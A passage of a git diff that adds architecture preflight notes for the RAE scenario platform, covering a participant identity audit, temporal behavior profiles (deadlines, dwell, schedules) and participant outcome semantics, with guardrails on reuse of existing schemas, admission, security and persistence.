live-listener claim. `_runtime_service_families.py` indexes service resources separately. ADR-041 owns implementation selection; ADR-092's execution binding relates action, native target services, and selected implementation. That binding does not establish participant-to-resource identity. | +| Target eligibility | `_declarations.py` retains kind, canonical address, aliases, and eligibility. Generic sections must enter `_REFERENCEABLE_SECTIONS` before `_reference_targetability.py`'s exclusion policy makes them targetable; special/nested declarations also set eligibility directly. Audit both routes. Do not claim that every newly added section automatically becomes targetable. | +| Reference purposes | `_core.py` has both generic reference validation and a narrower operating-scope index. Authority anchors use referenceability; behavior authority scopes and action interaction targets use targetability. Objectives, relationship subtypes, observation subjects, shared state, and runtime authority need their own semantic assessment. One existing boolean is not evidence that their rules should be identical. | +| Names across layers | `raes_processor/compiler/addresses.py::_participant_behavior_address` and `participant_behaviors.py` project `agents.` into `participant.behavior.`. Contract fixtures also use `participants.*`. Portable runtime envelopes carry participant/episode identities separately. Determine whether each spelling is a mapping, opaque external identity, legacy example, or defect before proposing a rename or alias. | +| Definition drift | `Agent.reject_legacy_starting_conditions` deliberately rejects the old field. ADR-079 §5 requires this migration to precondition assertions; `specs/sdl/references.md` documents `starting_assertions`. ADR-020 still publishes the old spelling. Reconcile authority and reader guidance; do not restore the rejected field as a convenience alias. Check adjacent role, scope, reward, and authority definitions against later decisions, including ADR-073. | + +Compare clarification of existing fields, optional affiliation/refinement, and +an explicit relation only where a distinct meaning needs one. Assess authoring +cost, unresolved semantics, compatibility, and cross-layer impact before +selecting definitions or syntax. Do not preselect a new `participants` root, +general actor ontology, or mandatory component graph. + +The audit needs representative tasks and counterexamples: one composite +participant; two participants sharing an organization or implementation; a +service used only as a resource versus explicitly designated as a participant; +one participant acting on another; and an organization owning an objective +without acting. Include ambiguous names, module namespaces, and a new +referenceable declaration kind. Preserve every declared constraint while +allowing an abstract scenario without concrete apparatus detail. Parser success +and green tests establish neither conceptual correctness nor adoptability. + +## Canonical mechanisms and cross-cutting gates + +The audit itself touches repository documents, evidence, policy checks, and +eventual GitHub publication. The executable layers below are inspection and +follow-up compatibility obligations, not authorization to change them in #215. + +| Layer | Canonical incumbent and guardrail | +| --- | --- | +| Authority and schemas | `specs/authority/authority-boundary.yaml`, `specs/sdl/sections.md`, `specs/sdl/references.md`, concept-authority catalogs, and `contracts/schemas/` own their respective contracts. Reuse `ContractModel`, `schema_bundle()`, publication-manifest entries, valid/invalid fixtures, and `check_generated_schemas.py`/`check_schema_publication.py`. Published schemas are normative under ADR-009/061; older ADR wording calling them merely generated output is not current authority. A Python default or validator alone does not settle wire compatibility. | +| Decoding and model shape | `raes/_yaml_loader.py`, `parser.py`, `_base.py::SDLModel`, and `_identifiers.py` own safe decoding, closed shapes, portable names, and variable rules. Examples must use these gates. No executable YAML, variable-generated declaration keys, duplicate SDL schema, or audit-specific parser. | +| Reference and semantic policy | `DeclarationIndex`, `QualifiedName`, `SemanticValidator`, pure objective/participant analyzers, and existing relationship-subtype checks retain declaration kind, collision evidence, and ambiguity failures. Extend these owners if remediation requires changed candidate sets. Do not build a second resolver or derive ownership by splitting rendered addresses. | +| Composition, instantiation, compilation, editors | Reuse `raes/composition/_references.py` and `_behavior.py`, existing instantiation revalidation, compiler address/alias indexes, and language-service `_language_metadata.py`/`_language_references.py`. Trace every reference through imports, substitution, serialized phase artifacts, compilation, completion, navigation, and diagnostics. Editor suggestions must agree with field-specific semantic acceptance. | +| Apparatus configuration and secrets | `raes_contracts/participant_configuration.py::realize_participant_configuration` validates the complete manifest registry and owner normalization; `validate_participant_configuration_selection` checks participant, implementation, manifest, and digest agreement. `contracts/experiment_bindings.py` and `secret_references.py` separate literals from logical secret refs. Identity remediation cannot bypass those joins or put raw configuration, prompts, credentials, or hidden context into provenance. | +| Environment and host exposure | If a future binding reaches a node environment, reuse `raes/runtime_environment.py::RuntimeEnvironmentVariable`, `runtime_generated_value.py`, and `_stateful_resource_references.py`: preserve literal/value-source exclusivity, sensitivity, generated-output ownership and consumability. Generated values cannot masquerade as operator secrets. Participant identity introduces no new env binding, listener, host publication, subprocess, or OS privilege. Port declaration and target eligibility grant none of these. | +| Runtime authentication and authorization | `raes_runtime/control_plane_security.py::ControlPlaneSecurityConfig`, `control_plane_api/_auth.py`, and existing participant control/audience bindings own caller authentication, roles, and target scope. Participant crossing/flow/effect-authority gates own participant-facing policy. A rename or mapping must preserve exact subject, audience, episode, and policy-cut binding; affiliation, implementation selection, and provenance never grant access. Keep request limits and fail-closed admission. | +| Runtime evidence and persistence | Existing participant envelopes, behavior/observation/control histories, implementation provenance, capability admission, `RuntimeSnapshot`, and `ControlPlaneStore` own durable runtime meaning. Preserve episode identity, ordering, revisions/CAS, idempotency, and append-only history. Address changes can affect configuration digests, policy subjects, replay, stored records, and evidence joins. Document version/migration implications rather than rewriting historical identities. No new identity database or participant audit store. | +| Errors and observability | Reuse `SDLParseError`, `SDLValidationError`, `SDLInstantiationError`, structured `Diagnostic`/`Severity`, and existing conformance results. Repository checks use `tools.policy.common.PolicyFailure` and nox `SessionReporter`. Runtime HTTP failures retain `_operation_routes.py`'s redacted validation/500 handlers, `_responses.py`, and existing audit records. Report bounded refs/rule ids; never echo request bodies, tokens, hidden evidence, backend dumps, or arbitrary exception text. No parallel exception or logging hierarchy. | +| Workflow and distribution | `.ground-control.yaml`, `.gc/plan-rules.md`, `noxfile.py`, `tools/nox_support/policy_lanes.py`, and `.pre-commit-config.yaml` own verification. Preserve contract corpus packaging and conformance registration if follow-ups change published artifacts. Use existing parser, identifier, objective, participant, relationship, language-service, and contract fixture tests for their boundaries; do not add a standalone audit test framework. This requirement-free run must not manufacture requirement scope or traceability. | + +The targetability extensibility seam belongs at the existing declaration index +and field-specific reference-policy consumers: parameterize allowed declaration +kinds by reference purpose where the audit proves a distinction is needed. +Adding a kind must require an intentional eligibility decision without copying +section lists into parsers, editors, and compilers. Keep identity rendering and +layer mapping centralized in existing compiler helpers. This leaves room for +another service kind, composite implementation, or relationship without another +participant schema or a blanket targetability rule. It does not prescribe a +new framework or select a policy representation before the audit. + +## Evidence authority and literature limits + +Use the existing [participant lineage](../explain/sdl/lineage.md#participant-semantics) +and current [v2 ledger](../../contracts/provenance/sdl-lineage-ledger-v2.json), +including its `sdl-field:agents` source records. V1 remains historical; v2 still +uses the `sdl-lineage-ledger/v1` schema identifier. ADR-080 and +`tools/check_sdl_lineage.py` govern this distinction. The section-level CybORG +claim does not establish that each participant field came from CybORG. + +The following are research boundaries for the audit, not adopted RAE syntax: + +| Primary precedent | Relevant distinction and limit | +| --- | --- | +| [UML, ISO/IEC 19505-2:2012 §16.3.1](https://www.omg.org/spec/UML/ISO/19505-2/PDF) | Actor roles are relative to a subject. This does not define a scenario participant's autonomy or mandate one person/process per identity. | +| [ActivityStreams 2.0 §4.3](https://www.w3.org/TR/activitystreams-core/#actor) | Actors include services and groups and specialize objects. This supports comparison of actor/object roles, not automatic participation for every RAE service or direct equivalence of its target vocabulary. | +| [PROV-O](https://www.w3.org/TR/prov-o/#description-starting-point-terms) | Association, attribution, and delegation distinguish responsibility relations. PROV Agent/Entity terminology is not interchangeable with RAE Agent/Entity; provenance is not operational authorization. | +| [TOSCA 2.0 §§7–8](https://docs.oasis-open.org/tosca/TOSCA/v2.0/TOSCA-v2.0.html) | Typed relationships, requirements, and target capabilities inform endpoint compatibility. Deployment topology is not an autonomy definition or a required participant component inventory. | +| [Cognitive Dimensions tutorial](https://www.cl.cam.ac.uk/~afb21/CognitiveDimensions/CDtutorial.pdf) | Evaluate consistency, role expressiveness, hidden dependencies, viscosity, and premature commitment using author tasks. A heuristic inspection is not measured usability or evidence of user adoption. | + +Record exact editions/revisions and sections, claim relevance and limits, and +alternatives rejected with reasons. Follow existing `docs/research/lineage/` +source-audit practice; extend the governed ledger only when a derivation claim +changes. Do not invent another citation/lineage registry or fetch sources in CI. +Distinguish confirmed defects, unresolved design questions, and intentional +layer differences, each with repo coordinates and bounded evidence. + +## Audit publication contract and operational guardrails + +Follow the research/ownership precedent in +`docs/research/language-extensibility/`, without copying its implementation +program or introducing another workflow. Every final audit finding needs a +resolved disposition or an implementation owner. Reuse existing owners where +appropriate; new issues belong to milestone **60 — Runtime & Participant Model**. +Each owner must state the semantic problem, intended result, affected surfaces, +acceptance examples and counterexamples, and compatibility implications. + +GitHub blocking links are separate from SDL relationships and from checklist +containment. For prerequisite A and dependent B, the +[issue-dependencies API](https://docs.github.com/en/rest/issues/issue-dependencies) +uses `POST .../issues/B/dependencies/blocked_by` with A's numeric **issue id** +in `issue_id`, not A's issue number or GraphQL node id. Read back B's blockers +and A's blocking list with pagination. Check the affected transitive graph, +including pre-existing links, for cycles before adding edges and verify it +afterward. Reconcile existing edges on retry rather than duplicating writes. +Record real issue URLs and dependency direction; links/checklists alone do not +satisfy #215. Do not make the audit depend on completion of its remediation. +Link the eventual audit, owners, and order from #215 without implying that +publishing the audit delivers the fixes. + +Publication uses the existing authenticated GitHub tool or CLI, scoped to +`OpenRAE/rae`; dependency writes need issue-write authorization. Use structured +bodies or `--body-file`, fixed commands, and existing pagination/error handling. +Do not inspect secret files or environment dumps, place tokens in argv/URLs, +enable credential-bearing debug logs, or interpolate issue text into a shell. +Keep temporary output within approved workspace/temp paths; do not persist +authenticated responses as research evidence. Repository evidence paths must +stay repository-relative and pass the existing safe-path discipline. Failed +writes need a bounded status and honest incomplete-publication record, not a +claim that textual links enforce dependencies. + +## Non-goals and decision hygiene + +This preflight creates no audit result, remediation plan, implementation issue, +dependency edge, schema change, runtime change, migration, or formal requirement. +It does not choose a universal agent definition, new participant syntax, an +autonomy threshold, a concrete deployment model, or a service-participant alias. +Do not turn an audit into parser cleanup, broaden authority to make an example +pass, or infer evidence/collection obligations from mere declaration. + +Accepted ADRs are pinned under ADR-059; reconcile drift through a dated companion +or the governed amendment/supersession process. Do not silently edit accepted +decisions or refresh their pins merely to satisfy a check. A new ADR is warranted +only when the audit selects a genuinely changed architectural decision. This +note leaves those decisions open while fixing the boundaries for their review. diff --git a/docs/decisions/issue-216-act-614-temporal-behavior-profiles-preflight.md b/docs/decisions/issue-216-act-614-temporal-behavior-profiles-preflight.md new file mode 100644 index 000000000..5729ee9f8 --- /dev/null +++ b/docs/decisions/issue-216-act-614-temporal-behavior-profiles-preflight.md @@ -0,0 +1,268 @@ +# Issue #216 — ACT-614 Temporal Behavior Profiles Preflight + +Date: 2026-09-21 + +Scope: ACT-614 and the simulated-user authoring cases consolidated from #659. +`DSL-009` is historical issue context, not a requirement to create. This is +architecture guidance, not an implementation plan or a claim of completion. + +## Decision and authority + +Reuse [ADR-092](adrs/adr-092-autonomous-benign-participants-under-shared-time.md), +the [autonomous execution specification](../../specs/formal/participant-semantics/autonomous-execution.md), +SEM-213, and the shared-time authorities in ADR-090/091. No new ADR, participant +kind, temporal-profile root, scheduler, or clock is justified. The +[ACT-605 preflight](issue-213-act-605-baseline-behavior-profiles-preflight.md) +supplies the common execution/security boundaries; its ACT-605 completion +finding is not evidence that ACT-614's additional cases work together. + +| Requirement / #659 case | Existing owner and boundary | +| --- | --- | +| User role and activity | Ordinary participant declarations, action contracts, observation boundaries, and `ParticipantBehaviorSpecification.autonomous_execution`. Non-evaluated policies require `green`; business personas do not create authorization roles or evaluator authority. | +| Fixed cadence | `ParticipantAutonomousExecutionPolicyV1`: exactly one shared-clock cadence and `ordered_cycle`; preserve v1 defaults and digests. | +| Work/pause schedules, bounded intervals, dependencies, retries, cooldowns | V2 activity policy and `raes_runtime.participant_activity`: finite shared-time windows, keyed candidates, integer weights, and bounded attempts/occurrences/bursts. | +| Resource-governed activity | V3 adds scoped resource accounting to v2; it does not add a new time model or imply all older profiles require v3. | +| Dwell, deadlines, latency, reset/replay semantics | Action-level `raes.participant_temporal_semantics`, compiled temporal contracts, backend timing disclosures, and temporal history/state validation. These are distinct from occurrence spacing and native execution timeouts. | +| Application/protocol | Existing action effects/preconditions, node/service refs, implementation selection, and exact `participant-execution-binding/v1` relations. An application label is neither executable action nor proof of protocol fidelity. | +| Scenario parameterization and reuse | `parse_sdl_file`, `raes.composition`, `instantiate_scenario`, admitted instantiated artifacts, and canonical compilation. Within-run `agent-policy` randomness is separate from scenario-family variation. | + +Behavior classification, when needed, stays in the existing concept-authority +binding surface described by ACT-611; it must not become another behavior enum +or participant ontology. + +Scenario syntax and semantic validity are independent of backend support. +RAES owns those semantics, portable contracts, admission and conformance; +backends own native realization and operations. An adapter is needed only at +a distinct translation boundary. An insufficient manifest rejects the selected +scenario/backend pairing, not the scenario or the backend. This applies to all +authored semantics, not only timing. No temporal feature set, scheduler design, +or control-plane architecture is mandatory for every backend; profile-specific +obligations apply only when that profile is claimed. Examples are workloads, +not ceilings on backend capability. + +## Concrete integration risks + +The source findings below are not new execution evidence. The supplied issue +also confirms that a policy with a deadline at tick 5 executes again at tick 10 +and reports success. Preserve that exact regression as required implementation +evidence; this preflight has not independently reproduced it. Documentation +reconciliation alone cannot complete ACT-614. + +- **Temporal identity and enforcement.** + `participant_scheduler_operations._bound_action_request` constructs contexts + from shared-time constraint addresses with fixed submit/start/end/observed + event points. `raes_processor.models.behavior_anchor_checks` instead checks + contexts against action-local `temporal_id`, clock/domain, exact event points, + disclosure refs, and reset/replay boundaries. A shared `time.constraint.*` + address and an action-local temporal id are not interchangeable. Demonstrate + their intended relationship through execution and conformance before claiming + dwell/deadline support. Do not suppress history validation or fabricate + matching declarations to hide a mismatch. +- **Abstract transitions are not runtime enforcement.** + `iter_participant_temporal_state_machine_violations` checks transition + sequences; the inspected package has its definition/export but no runtime + caller. `participant_scheduler_time.cadence` selects cadence; carrying other + constraint refs into history does not prove their enforcement. Existing + SEM-213 tests validate contracts and synthetic transitions, while DSL-437 + tests exercise autonomous scheduling. Their separate success would not prove + a dwell/deadline spanning multiple shared ticks, a missed deadline, or + terminal-state isolation across reset. Attribute a demonstrated gap to the + owning temporal/admission/execution boundary, not a second scheduler. +- **Support lists do not establish a supported combination.** + `capability_admission._autonomous_execution_binding_gaps` currently matches + action, implementation, targets and attempt/in-flight limits; + `time_model_capability_gaps` checks time-kind and lifecycle support. Neither + alone establishes a particular action/event deadline or dwell guarantee. + Reuse `participant_feature_admission.resolve_participant_feature_support` + for support strength, required contracts and evidence, with existing planner + diagnostics in `planner/core.py`. Extend the existing typed admission seam + to check the requested combination of bindings, limits and evidence strength; + do not infer it from independent lists or a generic `temporal_contracts` + claim. A limitation disclosure is not permission to weaken the scenario. +- **Imports must preserve references.** + `composition/_behavior.py::_rewrite_behavior_specification` rewrites parent + refs and the autonomous resource budget, but does not visibly rewrite the + nested clock/progression, action/candidate, observation, window, stochastic, + and evaluation refs. Verify namespaced imports, repeated module instances, + exported/private names, and bare/section-qualified refs. Use the existing + symbol maps and reference helpers through `_rewrite_payload_with_symbols`, + shared by composition and semantic transformations. Preserve local candidate + ids and external implementation identities rather than prefixing every string. +- **Parameters must survive source admission.** Autonomous interval, weight, + cooldown, and limit fields currently use bounded `int` fields. Generic + substitution in `instantiate.py` does not establish that `${...}` reaches + that phase. Check actual source-model acceptance, typed whole-field binding, + unknown/missing variables, and post-binding semantic validation. Reuse + `_base.py::WholeFieldVariableReference`, `parse_int_or_var`, the schema marker and + instantiation provenance for supported numeric fields. Defer only checks + depending on unresolved operands; rerun interval ordering, retry consistency, + occurrence/burst limits and v3 concurrency equality after binding. Reject + booleans, fractional/non-finite values, out-of-range integers and partial + numeric interpolation. No text templater, `eval`, unchecked coercion, or + runtime parameter bag. Schema parity remains mandatory. + +## Bounded temporal guarantee boundary + +Bindings belong to existing action temporal contracts and shared-time +declarations. Keep action-local temporal ids, compiled constraint addresses, +action-instance identity and observation evidence distinct. The shared-time +specification explicitly forbids inferring a binding from matching legacy +`clock_authority` strings. Resolve clock/domain, subject, event and constraint +kind explicitly; use existing exact integer/rational coordinates and mappings. + +- **Deadline:** declare whether the constrained event is start, completion, + observed effect or effective effect, its reference event/absolute bound and + equality rule. Check admission for an expired start bound, and evidence at + outcome acceptance for completion/effect bounds. The current SEM-213 shape + requires `deadline` plus `end`, `observed` or `effective`; a start-only + deadline therefore needs explicit governed contract evolution, not invented + end evidence. Dispatch time cannot stand in for completion/effect time. +- **Dwell:** bind a condition using existing action/precondition and observation + authorities, an interval, and the evidence strength required over that + interval. Waiting, cooldown, or two successful endpoint observations does not + establish continuous satisfaction. Sampled evidence proves only its declared + sampled guarantee. Interruptions, missing coverage or untrusted observations + cannot yield success; reject a continuous guarantee when the selected backend + cannot supply adequate evidence. A bounded interval needs no monitoring service. +- **Lifecycle:** specify how pause affects elapsed time and condition coverage; + a frozen logical clock does not freeze a native service. Reset/replay cannot + carry terminal state or accumulated dwell into a new episode/segment without + the declared semantics and lineage. Evidence and any bounded continuation + must bind the action instance, episode, clock segment, execution generation + and policy/contract identity. Check serial and concurrent completion paths; + late or stale work cannot update the current generation. +- **Outcome:** a missed guarantee, native failure, cancellation and rollback are + distinct. Rejecting a late portable result does not undo native effects; + cancellation requires its own declared support and evidence. Do not invent + compensation or retry indeterminate effects automatically. Retain the native + outcome/missed guarantee distinction in governed evidence without accepting + invalid or stale success into current history. + +These are contract obligations for the bounded reference path. They do not +prescribe backend worker architecture or introduce resumable, general-purpose +long-running actions. Preserve old meanings and digests; version a changed +meaning and its admission/history contracts rather than silently reinterpreting +v1/v2/v3 or tightening all legacy descriptive SEM-213 contracts in place. + +## Cross-cutting layers the design must pass + +Paths below are relative to `implementations/python/packages/` unless stated +otherwise. Each existing gate remains authoritative at its own boundary; +do not copy its rules into an ACT-614 validator. + +| Layer / canonical incumbent | Required treatment | +| --- | --- | +| Source ingress: `raes/parser.py`, `_yaml_loader.py`, `_source_validation.py`, `SDLParserLimits`, `SDLModel` | Retain safe YAML construction, duplicate/merge-key policy, byte/node/depth/alias limits, and closed fields. Imported examples use file-backed parsing and existing path, lock/trust, cycle, and composition-budget checks. No new URL loader or arbitrary file reader. | +| Composition and instantiation: `raes/composition`, `raes/instantiate.py`, `admit_instantiated_scenario` | Preserve namespace ownership, parameter types/constraints, provenance, and final revalidation. Compile the admitted instantiated artifact; unresolved placeholders cannot reach scheduling. | +| Semantic authority: `raes/semantics/participant_behavior`, `raes/validator/_participant_execution_renderers.py`, `_time_model.py`, resource-owner validation | Resolve participant/action/observation/clock/progression/constraint/implementation refs; reject widening of parent authority, wrong clock/subject, duplicate scheduler owners, dependency cycles, unreachable ticks, and incompatible evaluation/resource ownership. | +| Compilation: `raes_processor/compiler/participant_behaviors.py`, `participant_contracts.py`, `participant_autonomous_execution.py`, `time_model.py` | Reuse canonical address helpers, runtime models and contract digests. Preserve resolved semantics, not just reference strings; policy/time changes cannot resume an old continuation silently. | +| Configuration and secrets: `ConfigurationTargetRegistryModel`, `raes_contracts/participant_configuration.py`, `secret_references.py` | Preserve typed literal versus secret-reference disposition, registry constraints, owner normalization, selected implementation/configuration identity and digests. A portable profile carries no resolved credentials or raw entropy. Binding an application does not authorize secret access. | +| Node environment, if an example needs it: `raes/runtime_configuration.py`, `runtime_environment.py`, `runtime_generated_value.py`, `_stateful_resource_references.py` | Retain unique env names, literal/value-from exclusivity, source/output resolution, and classification/redaction checks. Generated secrets require `redacted`, cannot claim `operator_secret`, and cannot consume `producer_private` output. Env-file names use `PortableIdentifier`; profiles must not introduce an env-based timing override. | +| Backend admission: `raes_backend_protocols.capability_admission`, `participant_feature_admission`, manifest models/adapters, `raes_processor/planner/core.py`, `RuntimeTarget` / `BackendRegistry` | Require the authored combination of profile, feature, action-target-implementation relation, strategy, clock/event binding, evidence strength, time/random/resource support and finite limits. Keep semantic errors separate from admission diagnostics. Reject insufficient pairings before native effects. Reset and execution-service claims require their capability-specific protocols; unrelated workloads remain admissible. | +| Evidence and native-effect authority: `raes_runtime/observation_admission.py`, `participant_effect_authority.py`, `participant_crossing_policy.py`, `participant_action_validation.py`, `backend_snapshot_contracts.py` | Dwell/effect evidence must remain within authorized observation boundaries and participant flow policy. Reuse required-demand, exact selector, retention/durable-owner checks where observation demand is used; do not synthesize coverage from a selector. Bind effects to the submitted participant/targets; retain typed result, history/provenance and bounded snapshot-shape checks before accepting backend state. | +| Runtime and host: `ParticipantScheduler`, `participant_activity`, `ParticipantClockDriver`, native participant protocols | The shared clock owns admission and lifecycle. Native adapters remain impure leaves with existing target/configuration boundaries. No cron, private timer, host calendar/timezone, daemon, or new process surface is needed. If an existing adapter invokes a process, retain bounded execution and controlled environment/cwd, fixed argument structure without shell interpolation, and keep credentials/entropy out of argv and output. A rejected portable commit cannot undo a native side effect. | +| API security: `create_control_plane_app`, `ControlPlaneSecurityConfig.strict_defaults`, `control_plane_api/_auth.py`, API guards | Retain bearer/verified-proxy identity, role/target and participant-subject/audience authorization, request limits, idempotency/fingerprints, and audit. Profile presence grants no control/evaluation/observation authority. No new endpoint or controller is implied. | +| Error envelopes and observability: `SDLParseError`, `SDLInstantiationError`, `SDLValidationError`, `Diagnostic`, `portable_diagnostic_payload`, `AuditEvent`, API `_operation_routes.py` / `_responses.py` | Reuse bounded diagnostics and typed receipts/history. Preserve redacted 422, 409 and 500 responses; do not leak Pydantic inputs, raw adapter/store exceptions, tokens, entropy, command output, paths or tracebacks. Logs/audit report safe ids, codes, counts and durations; they are not temporal evidence. No new exception hierarchy or logger. | +| Persistence: `RuntimeSnapshot`, `raes_contracts/participant_autonomous_state.py`, `require_participant_autonomous_runtime_snapshot`, `ControlPlaneStore` and its local/memory implementations | Use typed scheduler, execution-service, resource and shared-time carriers plus append-only behavior history. Retain generation/episode/segment, policy digest, revision/conflict, save/load/API/conformance checks. `control_plane_store_snapshots.py` has an exhaustive field codec; `control_plane_store_local_snapshot.py` uses transactional revision compare-and-swap and digest-checked payloads. Any continuation must survive these boundaries and reject inconsistent durable state. No continuation in metadata, new store, or success inferred from persistence alone. | + +Keep the runtime plan bound to the admitted manifest, target and predecessor +snapshot through `manager_plan_admission.runtime_plan_precondition_diagnostics`. +Do not let a restored plan or backend switch reuse obsolete admission. Existing +control-plane leases, operation idempotency and indeterminate-operation recovery +remain the workflow owners; a temporal receipt must not become a second job +queue. Bound pending evidence/continuation and retained history through existing +resource and payload limits, including at restart, not only per-action timeouts. + +Timing units and boundaries are semantic, not presentation details. V2 windows +are half-open; positive interval bounds are inclusive. Preserve the existing +microstep handling, stepped reachability, explicit outside-window and +empty-eligibility dispositions. Missed cadence must not silently catch up; +pause/reset races and stale native completions must remain generation fenced. +Runtime-owned real-time/dilated pacing uses the existing driver; externally +paced autonomous policies remain unsupported until their transition contract +exists. Backend pacing/latency limitations need typed disclosures. + +Retries use the existing portable `ParticipantFailureClass` (including +`TIMEOUT`), finite bounds and predecessor identity. Protocol-invalid or +indeterminate native work is not automatically retried. Dwell is not cooldown, +a logical deadline is not a host wait timeout, timestamp order is not causality, +and replay is not service rollback. Preserve SEM-211/212 boundaries. + +## Evidence, extensibility, and repository workflow + +The existing evidence families are +`test_sem_213_temporal_participant_semantics.py`, +`test_dsl_437_benign_participant_execution.py`, +`test_dsl_437_evaluation_authority.py`, +`test_dsl_437_snapshot_durability_conformance.py`, +`test_issue_898_participant_execution_control.py`, and +`test_issue_899_participant_resource_budgets.py`, plus parser, instantiation, +module composition, API security, and generated-environment consumer tests. +Reuse their fixtures and conditional native conformance probes. Evidence for +#216 must distinguish source acceptance, compilation, admission, actual native +outcome, temporal history, and durable round-trip; a happy-path parser or mock +receipt does not prove all of them. This preflight has not run those suites. + +The extension seam is existing data: typed scenario variables/module arguments +for timing bounds and references, keyed action candidates for another activity, +and exact backend execution bindings for another application. Event/constraint +bindings and required evidence strength belong in governed portable contract +data so another bounded guarantee does not require backend-name branches or +editing a canonical example. Keep timing in portable policy and native +realization in its owning backend. Reuse governed +`agent-policy` random controls, addressed draws and bounded-integer transforms; +no mutable RNG, retry-dependent draw address, or new seed field. A genuinely +new temporal meaning requires governed contract evolution with exact admission +and durable evidence, not optional fields that reinterpret v1/v2/v3. + +Admission evidence must include the same valid scenario with insufficient and +sufficient manifests, absent/partial/rich support, unsupported combinations and +insufficient evidence. Exercise the actual tick-5/tick-10 path, equality and +microstep boundaries, interrupted dwell, pause/reset races, stale completions +and corrupt continuation across compilation, execution, history and persistence. +Conformance exercises claimed capabilities; its fixture manifest must not make +every backend implement the richest profile. Reuse existing API-421/shared-time, +feature-admission and observation-admission tests alongside the families above. + +Whole-repository surfaces include `specs/formal/participant-semantics/`, shared +time specifications, `contracts/schemas/`, publication entries/manifest and +fixtures, the packages above, `examples/library/` and `examples/scenarios/`, +backend protocols/conformance, tests, and workflow tooling. Portable examples +should reuse the participant evidence-loop/action-contract and timed-run +examples, clearly disclose reference-versus-native support and bounded logical +schedules, and pass `tools/check_example_library.py` where applicable. Do not +turn test-only manifest construction into a production capability claim. + +Follow `.ground-control.yaml` and `.gc/plan-rules.md`, with +`RAES_REQUIREMENT_UID=ACT-614`. Use existing targeted checks and canonical nox +lanes; CI owns full verification. `tools/check_repo_policy.py`, +`tools/check_public_docs.py`, `tools/check_schema_publication.py`, +`tools/check_generated_schemas.py`, publication entries/manifest and +ADR immutability checks remain the incumbents. The old SEM-213 preflight's +generator-first schema advice is superseded by current policy: published +schemas are authoritative, changes require the publication ledger/content +hash (and tombstones for removals), and `schema_bundle()` must match. An +accepted ADR amendment requires its amendment row, index entry and content +pin under ADR-059; no such amendment is needed for this note. + +Reconcile ACT-614 `DOCUMENTS`, `IMPLEMENTS`, and `TESTS` links separately from +actual evidence. Do not infer completion from closed #213, an accepted ADR, +the requirement's `SHOULD` priority, or a backend capability flag. This note +does not alter requirement status or external traceability. + +## Non-goals + +No implementation in this preflight. The issue includes authoring and admission +repairs plus bounded bindings, enforcement/evidence, lifecycle validation and +conformance in existing owners; it is not documentation-only reconciliation. +Changes may cross contracts, compilation, runtime checks and history/persistence +consumers. No feature implementation is mandated in LilRAE, BigRAE or any other +backend. A second time authority and a general long-running action engine are +explicitly outside the delivery boundary. +Backend-native user activity (historically `Brad-Edwards/aptl#436`), browser or +protocol automation engines, human realism, recurring calendar/DST semantics, +new service daemons, experiment allocation, scoring, and cross-backend +exactly-once/rollback guarantees are outside this issue's portable boundary. +Do not duplicate schemas, DTOs, validation, scheduler/workflow logic, stores, +error handling, observability or conformance machinery to obtain ACT-614-named +artifacts. diff --git a/docs/decisions/issue-218-act-618-participant-outcomes-preflight.md b/docs/decisions/issue-218-act-618-participant-outcomes-preflight.md new file mode 100644 index 000000000..f1b5bb5e3 --- /dev/null +++ b/docs/decisions/issue-218-act-618-participant-outcomes-preflight.md @@ -0,0 +1,155 @@ +# ACT-618 participant outcome architecture preflight + +Issue: #218. Date: 2026-09-21. Scope: design guidance, not implementation or +an implementation plan. The supplied requirement and issue are sufficient. + +## Existing coverage and the actual gap + +ADRs 020/022/054/067 own participant identity, semantics, runtime history, and +the behavior aggregate. SEM-215 owns interpretation between meaning layers; +SEM-216 owns state/evidence/view separation. ADR-073 owns reward language. +These authorities suffice; no new ADR or parallel participant subsystem is +needed. Paths below are relative to `implementations/python/packages/` unless +otherwise stated. + +| ACT-618 clause | Incumbent and producer/consumer | Remaining boundary | +| --- | --- | --- | +| Explicit participant-local meaning | `raes/participant_outcome_semantics.py`, `raes_processor/models/outcome.py`; compiler `participant_contracts.py` produces rule resources, history/conformance consumes interpretation records | Sources/targets have free-form observed/interpreted values, not a governed local category/state contract. Source/target layers classify semantic layers, not outcome categories. | +| Role-neutral categories | `raes_contracts.participant_behavior.ParticipantActionResultStatus` already includes succeeded, failed, partial_success, unknown, rejected, withheld, accepted | These describe actions. Reusing their spelling does not establish participant outcome meaning. Episode status and lifecycle operation status are also distinct. | +| Outcome identity and reporting | `raes_contracts/contracts/participant_views.py:ParticipantOutcomeReportModel` (API-411), published `participant-outcome-report-v1` | Has `outcome_id`, rule/source refs and downstream relationships, but no category or evolving state. Shape acceptance does not resolve refs or prove grounding. | +| Evolving local state | `BaseParticipantRuntime`, `participant_binding_events.py`, `RuntimeSnapshot`, RUN-305/311 history and episode validators | Existing producers record action and episode history; inspection found no dedicated local-outcome state producer/reducer. Add missing behavior through these owners; do not count test-created interpretation records as a production producer. | +| Independence from scenario evaluation | SEM-215 explicit mappings and I10 outcome-layer separation | Rules/interpretation records currently require targets; API-411 requires downstream state relationships. Do not fabricate an objective/evaluation target merely to express a local outcome. | + +The existing SEM-215 tests demonstrate source/target agreement, action/evidence/ +terminal-episode grounding, provenance, and wrong-participant rejection. +They establish useful reuse, not completion of ACT-618. The implementation's +clause account must distinguish existing coverage from newly demonstrated +category, transition, and runtime-producer behavior. + +## Decisions and semantic guardrails + +- Extend the existing participant outcome/interpretation and report family. + Local meaning must be representable without a downstream result. Any changed + target cardinality or added local surface needs an explicit versioned contract + decision; do not silently relax old SEM-215 invariants. Do not invent a second + rule engine, outcome database, or generic event bus. +- Separate **category** (what participant-local condition is described), + **state** (its current resolution/progress), and **knowledge/freshness** (what + the evidence supports at a specified observation point). Neither actor role + nor action success determines these. For example, a category describing + completion of a participant's declared task can cover an offensive transfer, + defensive containment, and ordinary-service delivery under their respective + local criteria. This is a semantic example, not a new enum declaration: + all three must use the same governed category and state rules. +- Outcome identity must distinguish the stable local outcome from each report, + interpretation, action attempt, and state revision. Bind it to canonical + participant identity and an exact episode within the enclosing run/snapshot + scope. Multiple local outcomes per participant and multiple observations per + outcome must be possible. Never key by role, display name, timestamp, or list + position. Rule/model revision is part of the interpretation basis; changing it + must not silently reinterpret an old record. +- Define admissible transitions, predecessor/revision checks, and correction + behavior in the owning contract. Partial attainment is not missing knowledge; + unknown, contradictory, withheld/redacted, stale, absent, and failed are not + synonyms. Preserve contradictory evidence and its basis without promoting it + to success or resolving it by arrival-order last-write-wins. Declare any + resolution precedence explicitly. Reject malformed or misbound evidence; + represent legitimate uncertainty without turning it into a 